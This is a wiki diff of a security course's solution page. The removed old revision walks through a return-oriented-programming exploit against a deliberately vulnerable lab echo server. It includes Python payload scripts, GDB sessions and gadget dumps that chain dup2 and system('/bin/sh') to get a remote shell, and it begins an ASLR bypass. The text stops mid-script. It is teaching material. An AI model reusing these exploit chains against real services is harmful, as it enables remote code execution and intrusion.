User Tools

Site Tools


session:solution:12

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
session:solution:12 [2015/07/25 01:36]
Razvan Deaconescu [Echo Service]
session:solution:12 [2020/07/19 12:49] (current)
Line 1: Line 1:
-====== Session 12 Solutions ======+====== 0x0B. Return Oriented Programming (part 2) (Solutions======
  
-===== Gadget Tut ===== +[[http://security.cs.pub.ro/summer-school/res/arc/12-return-oriented-programming-advanced-sol.zip|Solutions archive]]
- +
-TODO +
- +
-===== Echo Service ===== +
- +
-<note> +
-The log files created with [[http://man7.org/linux/man-pages/man1/script.1.html|script]] are {{:session:solution:echo_service.scr|a log file for the server side}} and {{:session:solution:client.scr|one for the client side}}; the roles are changed when doing ASLR-testing. You may use ''cat'' over the script file to print it. +
-</note> +
- +
-By going through the ''echo_service.c'' file we see that in the ''echo_service()'' function we use ''read()'' for reading ''4096'' bytes when we only have ''1024'' available for a the ''buf'' buffer. We can use this to create a return-oriented programming (ROP) attack. +
- +
-Let's first consider our steps. +
-  - We will create a payload that overflows the ''buf'' buffer and rewrites the return address of the ''echo_service()'' function triggering the attack (the ROP chain). +
-  - We will update the payload issue the following calls through the ROP chain, as also indicated in the task: +
-    - ''dup2(sockfd, 1);'' +
-    - ''dup2(sockfd, 0);'' +
-    ''%%system("/bin/sh");%%'' +
-  - We will start the server and then we will use ''netcat'' to send the payload to the server to trigger the attack. +
- +
-We aim for the stack to be the one below:<code> +
-0x00000000 +
-... +
-start address of buf +
-... +
-+--------------------------------+ +
-|   dup2() address                 <--- return address for echo_service() +
-+--------------------------------+ +
-|   pop_pop_ret gadget address   | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   dup2() address               | +
-+--------------------------------+ +
-|   pop_pop_ret gadget address   | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   system() address             | +
-+--------------------------------+ +
-|   junk                         | +
-+--------------------------------+ +
-|   "/bin/sh" address            | +
-+--------------------------------+ +
- +
-... +
-0xFFFFFFFF +
-</code> +
- +
-In the above figure we will overflow the ''buf'' buffer and overwrite the return address for the ''echo_service()'' function with the first part of the ROP chain: the address of the ''dup2()'' function. Once the ''dup2()'' function returns it will call a ROP gadget that pops two values: the ''dup2()'' function arguments (''4'' is ''sockfd'' and ''0'' and ''1'' are standard input and standard output file descriptors respectively). Then another ''dup2()'' function gets called and then ''%%system("/bin/sh")%%''. Because this needs the address of the ''%%"/bin/sh"%%'' string it could only happen on non-ASLR enabled system; but we'll use some tricks to trick it into running on an ASLR-enabled system as well. +
- +
-We can use ''strace'' to check that ''4'' is indeed the socket file descriptor:<code> +
-$ strace -f -e accept,read ./echo_service 7000 +
-[ Process PID=20460 runs in 32 bit mode. ] +
-read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512 +
-accept(3, {sa_family=AF_INET, sin_port=htons(39480), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4 +
-Process 20617 attached +
-[pid 20460] accept(3,  <unfinished ...> +
-[pid 20617] read(4, "anaaremere\n", 4096) = 11 +
-[pid 20617] +++ exited with 0 +++ +
-<... accept resumed> 0xbffff348, [16])  = ? ERESTARTSYS (To be restarted if SA_RESTART is set) +
---- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=20617, si_uid=1000, si_status=0, si_utime=0, si_stime=0} --- +
-accept(3,  +
-</code> +
-This makes sense since ''0'', ''1'' and ''2'' are the standard file descriptors and ''3'' is used as the listening socket file descriptor. Then ''4'' is the connect socket returned by the ''accept()'' system call (the return value is ''4'') and then used by the ''read()'' system call (the first argument is ''4''). +
- +
-On the client side, we had issued a ''netcat'' command to connect to the server and deliver the ''%%"anaaremere"%%'' string:<code> +
-$ nc localhost 7000 +
-============================================== +
-Welcome to the Echo service +
-============================================== +
-For your free trial, we will only echo 1024 bytes back to you +
-If you need more, contact our sales representatives at legit_services@lol.cat +
-anaaremere +
-Got it! Here it is: +
-anaaremere +
-</code> +
- +
-We'll first get all the required data for creating the payload, then we'll create and run the non-ASLR enabled attack and then we'll use the ASLR-enabled attacks. +
- +
-==== Getting Required Data ==== +
- +
-Let's first use GDB to gather all the required data for creating the payload. We need: +
-  * the offset of the return address for the ''echo_service()'' function against the start of the ''buf'' buffer +
-  * the address of the ''dup2()'' function inside PLT (in order to have an ASLR-independent address) +
-  * the address of the ''system()'' function inside PLT +
-  * the address of the ''%%"/bin/sh"%%'' string +
-  * a ROP gadget that consists of two ''pop'' instructions followed by a ''ret'' +
- +
-The ''make_it_easy()'' function in our source code is used to help us get access to ''dup2()'' and ''system()'' addresses through PLT. +
- +
-We'll use ''pattc'' and ''patto'' in GDB PEDA to find out the offset of the return address against the start of the ''buf'' buffer:<code> +
-$ gdb -q ./echo_service  +
-Reading symbols from ./echo_service...(no debugging symbols found)...done. +
-gdb-peda$ start 7000 +
-[...] +
-gdb-peda$ pattc 1500 +
-'AAA%AAsAABAA$AAnAACAA... +
-gdb-peda$ c +
-Continuing. +
-[New process 26535] +
- +
-Program received signal SIGSEGV, Segmentation fault. +
-[Switching to process 26535] +
-[----------------------------------registers-----------------------------------] +
-EAX: 0xffffffff  +
-EBX: 0xb7f9f000 --> 0x1a5da8  +
-ECX: 0xffffffbc  +
-EDX: 0x5dd  +
-ESI: 0x0  +
-EDI: 0x0  +
-EBP: 0x41256e41 ('An%A'+
-ESP: 0xbffff240 ("BAn$AnnAnCAn... +
-[...] +
-Stopped reason: SIGSEGV +
-0x6e41736e in ?? () +
-gdb-peda$ patto nsAn +
-nsAn found at offset: 1040 +
-</code> +
- +
-The pattern generated through GDB on the server side is fed to the server through the use of the ''netcat'' command<code> +
-$ nc localhost 7000 +
-============================================== +
-Welcome to the Echo service +
-============================================== +
-For your free trial, we will only echo 1024 bytes back to you +
-If you need more, contact our sales representatives at legit_services@lol.cat +
-AAA%AAsAABAA$AAnAACAA-... +
-</code> +
-The offset is ''1040'' bytes. +
- +
-We'll use the ''info address'' command in GDB to find out the addresses of ''dup2()'' and ''system()'' inside PLT:<code> +
-gdb-peda$ info address dup2@plt +
-Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging. +
-gdb-peda$ info address system@plt +
-Symbol "system@plt" is at 0x8048670 in a file compiled without debugging. +
-</code> +
-The addresses are: +
-  * ''0x80485f0'' for ''dup2()'' +
-  * ''0x8048670'' for ''system()'' +
- +
-We'll use ''searchmem'' to find out the address of the ''%%"/bin/sh"%%'' string inside the standard C library mappings (this only works on non-ASLR enabled systems):<code> +
-gdb-peda$ searchmem /bin/sh +
-Searching for '/bin/sh' in: None ranges +
-Found 1 results, display max 1 items: +
-libc : 0xb7f561a9 ("/bin/sh"+
-</code> +
-The address for ''%%"/bin/sh"%%'' is ''0xb7f561a9''+
- +
-We'll use ''dumprop'' to determine the address of a ROP gadget using two ''pop'' instructions followed by a ''ret'' instruction:<code> +
-gdb-peda$ dumprop +
-Warning: this can be very slow, do not run for large memory range +
-Writing ROP gadgets to file: echo_service-rop.txt ... +
-0x8048906: ret +
-0x804877f: repz ret +
-0x80487ae: ret 0xeac1 +
-0x8048799: leave; ret +
-0x8048b6f: pop ebp; ret +
-0x8048904: dec ecx; ret +
-0x8048e1c: inc ecx; ret +
-0x80485c9: pop ebx; ret +
-0x8048b7f: nop; repz ret +
-0x8048798: ror cl,1; ret +
-0x804877e: add dh,bl; ret +
-0x80487d5: ror cl,cl; ret +
-0x80487fb: leave; repz ret +
-0x8048761: sbb al,0x24; ret +
-0x8048e1b: adc al,0x41; ret +
-0x8048760: mov ebx,[esp]; ret +
-0x8048b7e: nop; nop; repz ret +
-0x8048797: call eax; leave; ret +
-0x80487d4: call edx; leave; ret +
-0x80487fa: add ecx,ecx; repz ret +
-0x8048b6e: pop edi; pop ebp; ret +
-0x804877d: ja 0x8048781; repz ret +
-0x80487b6: jne 0x80487ba; repz ret +
-0x8048796: or bh,bh; ror cl,1; ret +
-0x804875f: nop; mov ebx,[esp]; ret +
---More--(25/147)q +
-</code> +
-The address of the gadget is ''0x8048b6e'': ''pop edi; pop ebp; ret''+
- +
-We'll use these data to construct the payload. +
- +
-==== Creating the ROP Payload (non-ASLR) ==== +
- +
-Based on the above information we create the following Python file for printing out the payload:<file Python payload-no-aslr.py> +
-#!/usr/bin/env python +
- +
-import sys +
-import struct +
- +
-# 0x8048b6e: pop edi; pop ebp; ret +
-pop_pop_ret = 0x8048b6e +
-# libc : 0xb7f561a9 ("/bin/sh"+
-bin_sh = 0xb7f561a9 +
-# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging. +
-system_plt = 0x8048670 +
-# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging. +
-dup2_plt = 0x80485f0 +
- +
-# Offset from buffer start to function return address is 1040. +
-payload = 1040*"A" +
- +
-# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard output (1) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0) +
- +
-# Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard input (0) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1) +
- +
-# Add ROP for system("/bin/sh"+
-#  * address of dup2() +
-#  * return address for system(): we don't care, just use zero +
-#  * system argument: address of "/bin/sh" +
-payload += struct.pack("<III", system_plt, 0, bin_sh) +
- +
-sys.stdout.write(payload) +
-</file> +
- +
-The payload creates a padding of ''1040'' characters and then creates the ROP chain as discussed above:<code> +
-$ python payload-no-aslr.py | xxd +
-00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA +
-00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA +
-[...] +
-00000410: f085 0408 6e8b 0408 0400 0000 0000 0000  ....n........... +
-00000420: f085 0408 6e8b 0408 0400 0000 0100 0000  ....n........... +
-00000430: 7086 0408 0000 0000 a961 f5b7            p........a.. +
-</code> +
- +
-==== Testing the non-ASLR Payload ==== +
- +
-We run the payload on a non-ASLR system. We have deactivated ASLR and we check that:<code> +
-$ ldd echo_service +
- linux-gate.so.1 (0xb7ffd000) +
- libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000) +
- /lib/ld-linux.so.2 (0x41000000) +
-$ ldd echo_service +
- linux-gate.so.1 (0xb7ffd000) +
- libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000) +
- /lib/ld-linux.so.2 (0x41000000) +
-$ ldd echo_service +
- linux-gate.so.1 (0xb7ffd000) +
- libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000) +
- /lib/ld-linux.so.2 (0x41000000) +
-</code> +
- +
-Let's first test the payload by running the server under GDB. We'll break after the ''read()'' overflow and at the end of the ''echo_service()'' function to do checks while running the payload and ''netcat'' on another console:<code> +
-$ gdb -q ./echo_service +
-Reading symbols from ./echo_service...(no debugging symbols found)...done. +
-gdb-peda$ start 7001 +
-[...] +
-gdb-peda$ set follow-fork-mode child +
- +
-gdb-peda$ b echo_service +
-Breakpoint 2 at 0x8048857 +
- +
-gdb-peda$ c +
-[...] +
-Breakpoint 2, 0x08048857 in echo_service () +
-gdb-peda$ pdis +
-Dump of assembler code for function echo_service: +
-   0x0804884e <+0>: push   ebp +
-   0x0804884f <+1>: mov    ebp,esp +
-   0x08048851 <+3>: sub    esp,0x428 +
-=> 0x08048857 <+9>: mov    DWORD PTR [esp+0x4],0x8048ba0 +
-   0x0804885f <+17>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x08048862 <+20>: mov    DWORD PTR [esp],eax +
-   0x08048865 <+23>: call   0x8048630 <dprintf@plt> +
-   0x0804886a <+28>: mov    DWORD PTR [esp+0x4],0x8048bd0 +
-   0x08048872 <+36>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x08048875 <+39>: mov    DWORD PTR [esp],eax +
-   0x08048878 <+42>: call   0x8048630 <dprintf@plt> +
-   0x0804887d <+47>: mov    DWORD PTR [esp+0x4],0x8048ba0 +
-   0x08048885 <+55>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x08048888 <+58>: mov    DWORD PTR [esp],eax +
-   0x0804888b <+61>: call   0x8048630 <dprintf@plt> +
-   0x08048890 <+66>: mov    DWORD PTR [esp+0x4],0x8048bf0 +
-   0x08048898 <+74>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x0804889b <+77>: mov    DWORD PTR [esp],eax +
-   0x0804889e <+80>: call   0x8048630 <dprintf@plt> +
-   0x080488a3 <+85>: mov    DWORD PTR [esp+0x4],0x8048c30 +
-   0x080488ab <+93>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x080488ae <+96>: mov    DWORD PTR [esp],eax +
-   0x080488b1 <+99>: call   0x8048630 <dprintf@plt> +
-   0x080488b6 <+104>: mov    DWORD PTR [esp+0x8],0x1000 +
-   0x080488be <+112>: lea    eax,[ebp-0x40c] +
-   0x080488c4 <+118>: mov    DWORD PTR [esp+0x4],eax +
-   0x080488c8 <+122>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x080488cb <+125>: mov    DWORD PTR [esp],eax +
-   0x080488ce <+128>: call   0x8048600 <read@plt> +
-   0x080488d3 <+133>: mov    DWORD PTR [ebp-0xc],eax +
-   0x080488d6 <+136>: mov    DWORD PTR [esp+0x4],0x8048c7f +
-   0x080488de <+144>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x080488e1 <+147>: mov    DWORD PTR [esp],eax +
-   0x080488e4 <+150>: call   0x8048630 <dprintf@plt> +
-   0x080488e9 <+155>: mov    eax,DWORD PTR [ebp-0xc] +
-   0x080488ec <+158>: mov    DWORD PTR [esp+0x8],eax +
-   0x080488f0 <+162>: lea    eax,[ebp-0x40c] +
-   0x080488f6 <+168>: mov    DWORD PTR [esp+0x4],eax +
-   0x080488fa <+172>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x080488fd <+175>: mov    DWORD PTR [esp],eax +
-   0x08048900 <+178>: call   0x80486b0 <write@plt> +
-   0x08048905 <+183>: leave   +
-   0x08048906 <+184>: ret     +
-End of assembler dump. +
-gdb-peda$ b *0x080488d3 +
-Breakpoint 3 at 0x80488d3 +
-gdb-peda$ b *0x08048906 +
-Breakpoint 4 at 0x8048906 +
-gdb-peda$ c +
-[...] +
-Breakpoint 3, 0x080488d3 in echo_service () +
-gdb-peda$ c +
-Continuing. +
-[----------------------------------registers-----------------------------------] +
-EAX: 0xffffffff  +
-EBX: 0xb7f9f000 --> 0x1a5da8  +
-ECX: 0xffffffbc  +
-EDX: 0x43c  +
-ESI: 0x0  +
-EDI: 0x0  +
-EBP: 0x41414141 ('AAAA'+
-ESP: 0xbffff23c --> 0x80485f0 (<dup2@plt>: jmp    DWORD PTR ds:0x804a010) +
-EIP: 0x8048906 (<echo_service+184>: ret) +
-EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) +
-[-------------------------------------code-------------------------------------] +
-   0x80488fd <echo_service+175>: mov    DWORD PTR [esp],eax +
-   0x8048900 <echo_service+178>: call   0x80486b0 <write@plt> +
-   0x8048905 <echo_service+183>: leave   +
-=> 0x8048906 <echo_service+184>: ret     +
-   0x8048907 <doprocessing>: push   ebp +
-   0x8048908 <doprocessing+1>: mov    ebp,esp +
-   0x804890a <doprocessing+3>: sub    esp,0x18 +
-   0x804890d <doprocessing+6>: mov    eax,DWORD PTR [ebp+0x8] +
-[------------------------------------stack-------------------------------------] +
-0000| 0xbffff23c --> 0x80485f0 (<dup2@plt>: jmp    DWORD PTR ds:0x804a010) +
-0004| 0xbffff240 --> 0x8048b6e (<__libc_csu_init+94>: pop    edi) +
-0008| 0xbffff244 --> 0x4  +
-0012| 0xbffff248 --> 0x0  +
-0016| 0xbffff24c --> 0x80485f0 (<dup2@plt>: jmp    DWORD PTR ds:0x804a010) +
-0020| 0xbffff250 --> 0x8048b6e (<__libc_csu_init+94>: pop    edi) +
-0024| 0xbffff254 --> 0x4  +
-0028| 0xbffff258 --> 0x1  +
-[------------------------------------------------------------------------------] +
-Legend: code, data, rodata, value +
- +
-Breakpoint 4, 0x08048906 in echo_service () +
- +
-gdb-peda$ context stack 11 +
-[------------------------------------stack-------------------------------------] +
-0000| 0xbffff23c --> 0x80485f0 (<dup2@plt>: jmp    DWORD PTR ds:0x804a010) +
-0004| 0xbffff240 --> 0x8048b6e (<__libc_csu_init+94>: pop    edi) +
-0008| 0xbffff244 --> 0x4  +
-0012| 0xbffff248 --> 0x0  +
-0016| 0xbffff24c --> 0x80485f0 (<dup2@plt>: jmp    DWORD PTR ds:0x804a010) +
-0020| 0xbffff250 --> 0x8048b6e (<__libc_csu_init+94>: pop    edi) +
-0024| 0xbffff254 --> 0x4  +
-0028| 0xbffff258 --> 0x1  +
-0032| 0xbffff25c --> 0x8048670 (<system@plt>: jmp    DWORD PTR ds:0x804a030) +
-0036| 0xbffff260 --> 0x0  +
-0040| 0xbffff264 --> 0xb7f561a9 ("/bin/sh"+
-[------------------------------------------------------------------------------] +
-Legend: code, data, rodata, value +
-gdb-peda$ c +
-Continuing. +
-[New process 17858] +
-process 17858 is executing new program: /bin/dash +
-Warning: +
-Cannot insert breakpoint 3. +
-Cannot access memory at address 0x80488d3 +
-Cannot insert breakpoint 4. +
-Cannot access memory at address 0x8048906 +
-</code> +
- +
-On the client side we run ''netcat'':<code> +
-$ (python payload-no-aslr.py; cat) | nc localhost 7001 +
-============================================== +
-Welcome to the Echo service +
-============================================== +
-For your free trial, we will only echo 1024 bytes back to you +
-If you need more, contact our sales representatives at legit_services@lol.cat +
-[...] +
-</code> +
-We can see that the stack right before returning from the ''echo_service()'' function was similar to the stack figure above. All is OK. +
- +
-Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment and ASLR is disabled.<code> +
---- on the server side --- +
-$ ./echo_service 7002 +
- +
---- on the client side --- +
-$ (python payload-no-aslr.py; cat) | nc localhost 7002 +
-============================================== +
-Welcome to the Echo service +
-============================================== +
-For your free trial, we will only echo 1024 bytes back to you +
-If you need more, contact our sales representatives at legit_services@lol.cat +
-ls +
-echo_service +
-echo_service-rop.txt +
-echo_service.c +
-payload-aslr-alt.py +
-payload-aslr.py +
-payload-no-aslr.py +
-peda-session-echo_service.txt +
-ps +
-  PID TTY          TIME CMD +
-14269 pts/3    00:00:00 echo_service +
-16413 pts/3    00:00:00 echo_service <defunct> +
-18249 pts/3    00:00:00 bash +
-21341 pts/3    00:00:00 echo_service +
-21393 pts/3    00:00:00 echo_service +
-21394 pts/3    00:00:00 sh +
-21395 pts/3    00:00:00 sh +
-21470 pts/3    00:00:00 ps +
-26088 pts/3    00:00:00 echo_service +
-26535 pts/3    00:00:00 echo_service <defunct> +
-</code> +
- +
-Excellent! We have created a shell by calling ''%%system("/bin/sh")%%'' through ROP. +
- +
-Let's try the same thing on an ASLR-enabled system:<code> +
---- server side --- +
- +
-$ ldd echo_service +
- linux-gate.so.1 (0xf7772000) +
- libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf758e000) +
- /lib/ld-linux.so.2 (0xf7775000) +
-$ ldd echo_service +
- linux-gate.so.1 (0xf778a000) +
- libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75a6000) +
- /lib/ld-linux.so.2 (0xf778d000) +
-$ ./echo_service 7004 +
- +
---- client side --- +
- +
-$ (python payload-no-aslr.py; cat) | nc localhost 7004 +
-============================================== +
-Welcome to the Echo service +
-============================================== +
-For your free trial, we will only echo 1024 bytes back to you +
-If you need more, contact our sales representatives at legit_services@lol.cat +
-ls +
-$ dmesg | tail -1 +
-[425842.224264] echo_service[24545]: segfault at 0 ip           (null) sp 00000000ffece254 error 14 in echo_service[8048000+1000] +
-</code> +
- +
-It doesn't work due to the ''%%"/bin/sh%%'' string being placed differently into memory. We need something different. We need a way to store a ''%%"/bin/sh"%%'' string in a place that isn't influenced by ASLR. We show that in the next section. +
- +
-==== Idea for Bypassing ASLR ==== +
- +
-The random placement of the ''%%"/bin/sh"%%'' string due to ASLR is problematic. What we would aim to do is write the string somewhere in memory at a fixed address. +
- +
-Our idea is to use a ''read()'' call on the socket to read the ''%%"/bin/sh"%%'' string into a fixed address area. We will then use that address for the ''system()'' call. We can call ''read()'' as part of the ROP chain. We aim for the stack to be the one below:<code> +
-0x00000000 +
-... +
-start address of buf +
-... +
-+--------------------------------+ +
-|   dup2() address                 <--- return address for echo_service() +
-+--------------------------------+ +
-|   pop_pop_ret gadget address   | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   dup2() address               | +
-+--------------------------------+ +
-|   pop_pop_ret gadget address   | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   read() address               | +
-+--------------------------------+ +
-|   pop_pop_pop_ret gadget addr  | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   fixed writable address       | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   system() address             | +
-+--------------------------------+ +
-|   junk                         | +
-+--------------------------------+ +
-|   fixed writable address       | +
-+--------------------------------+ +
- +
-... +
-0xFFFFFFFF +
-</code> +
-In the above figure we add the ''read()'' call using three parameters: +
-  - the socket file descriptor (''4''+
-  - the fixed writable address where the ''%%"/bin/sh"%%'' string we provide will be stored +
-  - the length of the message we will deliver (''%%"/bin/sh\0"%%'': we place a NUL-byte at the end) +
- +
-We need an additional gadget that pops 3 times and the uses a ''ret'' instruction in order to pop the tree parameters of ''read()''+
- +
-We need the following in order to create the payload that gets us to the above stack configuration: +
-  - the address of the ''read()'' address in PLT +
-  - the address of a ROP gadget that uses 3 ''pop'' instructions followed by a ''ret'' instruction +
-  - the fixed writable address we will use to store the ''%%"/bin/sh\0"%%'' string that will be fed through the socket +
- +
-For the first two addresses we use GDB:<code> +
-$ gdb -q ./echo_service  +
-Reading symbols from ./echo_service...(no debugging symbols found)...done. +
-gdb-peda$ start 7006 +
-[...] +
-gdb-peda$ info address read@plt +
-Symbol "read@plt" is at 0x8048600 in a file compiled without debugging. +
-gdb-peda$ dumprop +
-Warning: this can be very slow, do not run for large memory range +
-Writing ROP gadgets to file: echo_service-rop.txt ... +
-0x8048906: ret +
-0x804877f: repz ret +
-0x80487ae: ret 0xeac1 +
-0x8048799: leave; ret +
-0x8048b6f: pop ebp; ret +
-0x8048904: dec ecx; ret +
-0x8048e1c: inc ecx; ret +
-0x80485c9: pop ebx; ret +
-0x8048b7f: nop; repz ret +
-0x8048798: ror cl,1; ret +
-0x804877e: add dh,bl; ret +
-0x80487d5: ror cl,cl; ret +
-0x80487fb: leave; repz ret +
-0x8048761: sbb al,0x24; ret +
-0x8048e1b: adc al,0x41; ret +
-0x8048760: mov ebx,[esp]; ret +
-0x8048b7e: nop; nop; repz ret +
-0x8048797: call eax; leave; ret +
-0x80487d4: call edx; leave; ret +
-0x80487fa: add ecx,ecx; repz ret +
-0x8048b6e: pop edi; pop ebp; ret +
-0x804877d: ja 0x8048781; repz ret +
-0x80487b6: jne 0x80487ba; repz ret +
-0x8048796: or bh,bh; ror cl,1; ret +
-0x804875f: nop; mov ebx,[esp]; ret +
---More--(25/147) +
-0x8048b7d: nop; nop; nop; repz ret +
-0x80487d3: or bh,bh; ror cl,cl; ret +
-0x80485c6: add esp,0x8; pop ebx; ret +
-0x8048e1a: push cs; adc al,0x41; ret +
-0x8048849: hlt; call eax; leave; ret +
-0x80485c7: les ecx,[eax]; pop ebx; ret +
-0x80487f9: or [ecx],al; leave; repz ret +
-0x80487b5: clc; jne 0x80487ba; repz ret +
-0x8048b7c: nop; nop; nop; nop; repz ret +
-0x8048793: push 0xff0804a0; ror cl,1; ret +
-0x804875e: xchg ax,ax; mov ebx,[esp]; ret +
-0x8048b6d: pop esi; pop edi; pop ebp; ret +
-0x80487f7: mov al,ds:0xc9010804; repz ret +
-0x804877c: push es; ja 0x8048781; repz ret +
-0x8048779: or [ebx+0x27706f8],al; repz ret +
-0x80487d0: push 0xff0804a0; ror cl,cl; ret +
-0x80487f6: push 0x10804a0; leave; repz ret +
-0x8048795: add al,0x8; call eax; leave; ret +
-0x80487d1: mov al,ds:0xd2ff0804; leave; ret +
-0x8048794: mov al,ds:0xd0ff0804; leave; ret +
-0x80487d2: add al,0x8; call edx; leave; ret +
-0x80487f8: add al,0x8; add ecx,ecx; repz ret +
-0x8048b7b: nop; nop; nop; nop; nop; repz ret +
-0x8048848: inc ebp; hlt; call eax; leave; ret +
-0x80487b4: sar eax,1; jne 0x80487ba; repz ret +
---More--(50/147)q +
-gdb-peda$  +
-</code> +
-The address of ''read()'' in PLT is ''0x8048600'' The address of the ROP gadget is ''0x8048b6d'': ''pop esi; pop edi; pop ebp; ret''+
- +
-For the fixed writable address we inspect the executable using ''readelf'':<code> +
-$ readelf -S echo_service +
-There are 30 section headers, starting at offset 0x11bc: +
- +
-Section Headers: +
-  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al +
-  [ 0]                   NULL            00000000 000000 000000 00      0   +
-  [ 1] .interp           PROGBITS        08048174 000174 000013 00    0   +
-  [ 2] .note.ABI-tag     NOTE            08048188 000188 000020 00    0   +
-  [ 3] .hash             HASH            080481a8 0001a8 0000a8 04    5   +
-  [ 4] .gnu.hash         GNU_HASH        08048250 000250 00002c 04    5   +
-  [ 5] .dynsym           DYNSYM          0804827c 00027c 000170 10    6   +
-  [ 6] .dynstr           STRTAB          080483ec 0003ec 0000bb 00    0   +
-  [ 7] .gnu.version      VERSYM          080484a8 0004a8 00002e 02    5   +
-  [ 8] .gnu.version_r    VERNEED         080484d8 0004d8 000020 00    6   +
-  [ 9] .rel.dyn          REL             080484f8 0004f8 000008 08    5   +
-  [10] .rel.plt          REL             08048500 000500 0000a8 08    5  12  4 +
-  [11] .init             PROGBITS        080485a8 0005a8 000023 00  AX  0   +
-  [12] .plt              PROGBITS        080485d0 0005d0 000160 04  AX  0   0 16 +
-  [13] .text             PROGBITS        08048730 000730 000454 00  AX  0   0 16 +
-  [14] .fini             PROGBITS        08048b84 000b84 000014 00  AX  0   +
-  [15] .rodata           PROGBITS        08048b98 000b98 00015c 00    0   +
-  [16] .eh_frame_hdr     PROGBITS        08048cf4 000cf4 000044 00    0   +
-  [17] .eh_frame         PROGBITS        08048d38 000d38 00010c 00    0   +
-  [18] .init_array       INIT_ARRAY      08049f00 000f00 000004 00  WA  0   +
-  [19] .fini_array       FINI_ARRAY      08049f04 000f04 000004 00  WA  0   +
-  [20] .jcr              PROGBITS        08049f08 000f08 000004 00  WA  0   +
-  [21] .dynamic          DYNAMIC         08049f0c 000f0c 0000f0 08  WA  6   +
-  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   +
-  [23] .got.plt          PROGBITS        0804a000 001000 000060 04  WA  0   +
-  [24] .data             PROGBITS        0804a060 001060 000008 00  WA  0   +
-  [25] .bss              NOBITS          0804a068 001068 000004 00  WA  0   +
-  [26] .comment          PROGBITS        00000000 001068 000060 01  MS  0   +
-  [27] .shstrtab         STRTAB          00000000 0010c8 0000f3 00      0   +
-  [28] .symtab           SYMTAB          00000000 00166c 0004c0 10     29  33  4 +
-  [29] .strtab           STRTAB          00000000 001b2c 0002eb 00      0   +
-Key to Flags: +
-  W (write), A (alloc), X (execute), M (merge), S (strings) +
-  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) +
-  O (extra OS processing required) o (OS specific), p (processor specific) +
-</code> +
-We see that we have access to the ''.data'' section with a length of ''8'' bytes, exactly what we need. We'll use that address (''0x0804a060'') as a fixed writable address where to store the ''%%"/bin/sh\0"%%'' string that will be fed through the socket. +
- +
-This is all the information we need to construct the payload. +
- +
-==== Creating the ROP Payload (ASLR) ==== +
- +
-Based on the above information we create the following Python file for printing out the payload:<file Python payload-aslr.py> +
-#!/usr/bin/env python +
- +
-import sys +
-import struct +
- +
-# 0x8048b6e: pop edi; pop ebp; ret +
-pop_pop_ret = 0x8048b6e +
-# 0x8048b6d: pop esi; pop edi; pop ebp; ret +
-pop_pop_pop_ret = 0x8048b6d +
-# libc : 0xb7f561a9 ("/bin/sh"+
-bin_sh = 0xb7f561a9 +
-# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging. +
-system_plt = 0x8048670 +
-# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging. +
-dup2_plt = 0x80485f0 +
-# Symbol "read@plt" is at 0x8048600 in a file compiled without debugging. +
-read_plt = 0x8048600 +
-#   [24] .data             PROGBITS        0804a060 +
-data = 0x0804a060 +
- +
-# Offset from buffer start to function return address is 1040. +
-payload = 1040*"A" +
- +
-# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard output (1) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0) +
- +
-# Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard input (0) +
